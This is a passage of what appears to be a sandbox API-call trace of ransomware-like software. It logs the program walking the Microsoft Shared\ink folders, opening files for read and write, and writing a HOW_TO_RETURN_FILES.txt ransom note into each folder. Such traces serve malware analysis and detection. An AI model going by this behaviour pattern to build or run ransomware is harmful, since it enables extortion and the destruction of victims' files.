lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.989] AreFileApisANSI () returned 1 [0094.989] GetACP () returned 0x4e4 [0094.989] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="symbols.xml", cchWideChar=11, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="symbols.xml", lpUsedDefaultChar=0x37dec0) returned 11 [0094.989] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.990] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.990] AreFileApisANSI () returned 1 [0094.990] GetACP () returned 0x4e4 [0094.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="web", cchWideChar=3, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="webbols.xml", lpUsedDefaultChar=0x37dec0) returned 3 [0094.990] AreFileApisANSI () returned 1 [0094.990] GetACP () returned 0x4e4 [0094.990] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=69, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\kᤀk꿐jȠ") returned 69 [0094.990] AreFileApisANSI () returned 1 [0094.990] GetACP () returned 0x4e4 [0094.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0094.991] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.991] AreFileApisANSI () returned 1 [0094.991] GetACP () returned 0x4e4 [0094.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0094.991] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.991] AreFileApisANSI () returned 1 [0094.991] GetACP () returned 0x4e4 [0094.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="webbase.xml", cchWideChar=11, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="webbase.xml", lpUsedDefaultChar=0x37de34) returned 11 [0094.991] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.992] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.992] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.992] AreFileApisANSI () returned 1 [0094.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0094.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.993] GetFileType (hFile=0x13c) returned 0x1 [0094.993] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.993] AreFileApisANSI () returned 1 [0094.993] GetACP () returned 0x4e4 [0094.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="web.xml", cchWideChar=7, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="web.xml.xml", lpUsedDefaultChar=0x37dec0) returned 7 [0094.994] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.994] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.994] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.994] AreFileApisANSI () returned 1 [0094.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0094.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.994] GetFileType (hFile=0x130) returned 0x1 [0094.995] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.995] AreFileApisANSI () returned 1 [0094.995] GetACP () returned 0x4e4 [0094.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="he-IL", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="he-ILinitions", lpUsedDefaultChar=0x37df4c) returned 5 [0094.995] AreFileApisANSI () returned 1 [0094.995] GetACP () returned 0x4e4 [0094.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\j\x04") returned 57 [0094.995] AreFileApisANSI () returned 1 [0094.995] GetACP () returned 0x4e4 [0094.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0094.996] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0094.996] AreFileApisANSI () returned 1 [0094.996] GetACP () returned 0x4e4 [0094.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0094.996] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0094.996] AreFileApisANSI () returned 1 [0094.996] GetACP () returned 0x4e4 [0094.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 15 [0094.996] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.996] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0094.996] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.996] AreFileApisANSI () returned 1 [0094.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.996] GetFileType (hFile=0x130) returned 0x1 [0094.997] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.997] AreFileApisANSI () returned 1 [0094.997] GetACP () returned 0x4e4 [0094.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hr-HR", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hr-HR", lpUsedDefaultChar=0x37df4c) returned 5 [0094.997] AreFileApisANSI () returned 1 [0094.997] GetACP () returned 0x4e4 [0094.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\j\x04") returned 57 [0094.998] AreFileApisANSI () returned 1 [0094.998] GetACP () returned 0x4e4 [0094.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.998] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0094.998] AreFileApisANSI () returned 1 [0094.998] GetACP () returned 0x4e4 [0094.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.998] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0094.998] AreFileApisANSI () returned 1 [0094.998] GetACP () returned 0x4e4 [0094.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.998] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.998] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0094.998] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.999] AreFileApisANSI () returned 1 [0094.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.999] GetFileType (hFile=0x130) returned 0x1 [0095.000] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.000] AreFileApisANSI () returned 1 [0095.000] GetACP () returned 0x4e4 [0095.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hu-HU", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hu-HU", lpUsedDefaultChar=0x37df4c) returned 5 [0095.000] AreFileApisANSI () returned 1 [0095.000] GetACP () returned 0x4e4 [0095.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\j\x04") returned 57 [0095.000] AreFileApisANSI () returned 1 [0095.000] GetACP () returned 0x4e4 [0095.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.000] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.000] AreFileApisANSI () returned 1 [0095.000] GetACP () returned 0x4e4 [0095.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.001] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.001] AreFileApisANSI () returned 1 [0095.001] GetACP () returned 0x4e4 [0095.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.001] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.001] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.001] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.002] AreFileApisANSI () returned 1 [0095.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.002] GetFileType (hFile=0x130) returned 0x1 [0095.003] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.003] AreFileApisANSI () returned 1 [0095.003] GetACP () returned 0x4e4 [0095.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hwrcommonlm.dat", cchWideChar=15, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hwrcommonlm.datzard.exe", lpUsedDefaultChar=0x37df4c) returned 15 [0095.003] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.004] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.004] AreFileApisANSI () returned 1 [0095.004] GetACP () returned 0x4e4 [0095.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HWRCustomization", cchWideChar=16, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HWRCustomizationard.exe", lpUsedDefaultChar=0x37df4c) returned 16 [0095.004] AreFileApisANSI () returned 1 [0095.004] GetACP () returned 0x4e4 [0095.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=68, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\筰k鿘k꿐j") returned 68 [0095.005] AreFileApisANSI () returned 1 [0095.005] GetACP () returned 0x4e4 [0095.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0095.005] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.005] AreFileApisANSI () returned 1 [0095.005] GetACP () returned 0x4e4 [0095.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0095.005] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.005] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.005] AreFileApisANSI () returned 1 [0095.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0095.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.005] GetFileType (hFile=0x130) returned 0x1 [0095.006] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.006] AreFileApisANSI () returned 1 [0095.006] GetACP () returned 0x4e4 [0095.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hwrenalm.dat", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hwrenalm.dattion", lpUsedDefaultChar=0x37df4c) returned 12 [0095.006] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.007] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.007] AreFileApisANSI () returned 1 [0095.007] GetACP () returned 0x4e4 [0095.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hwrenclm.dat", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hwrenclm.dat", lpUsedDefaultChar=0x37df4c) returned 12 [0095.007] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.007] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.007] AreFileApisANSI () returned 1 [0095.007] GetACP () returned 0x4e4 [0095.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hwrlatinlm.dat", cchWideChar=14, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hwrlatinlm.daton", lpUsedDefaultChar=0x37df4c) returned 14 [0095.007] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.008] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.008] AreFileApisANSI () returned 1 [0095.008] GetACP () returned 0x4e4 [0095.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hwruklm.dat", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hwruklm.datdat", lpUsedDefaultChar=0x37df4c) returned 11 [0095.008] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.008] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.008] AreFileApisANSI () returned 1 [0095.008] GetACP () returned 0x4e4 [0095.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hwruksh.dat", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hwruksh.dat", lpUsedDefaultChar=0x37df4c) returned 11 [0095.009] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.009] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.009] AreFileApisANSI () returned 1 [0095.009] GetACP () returned 0x4e4 [0095.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hwrusalm.dat", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="hwrusalm.datat", lpUsedDefaultChar=0x37df4c) returned 12 [0095.009] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.009] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.009] AreFileApisANSI () returned 1 [0095.009] GetACP () returned 0x4e4 [0095.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hwrusash.dat", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, 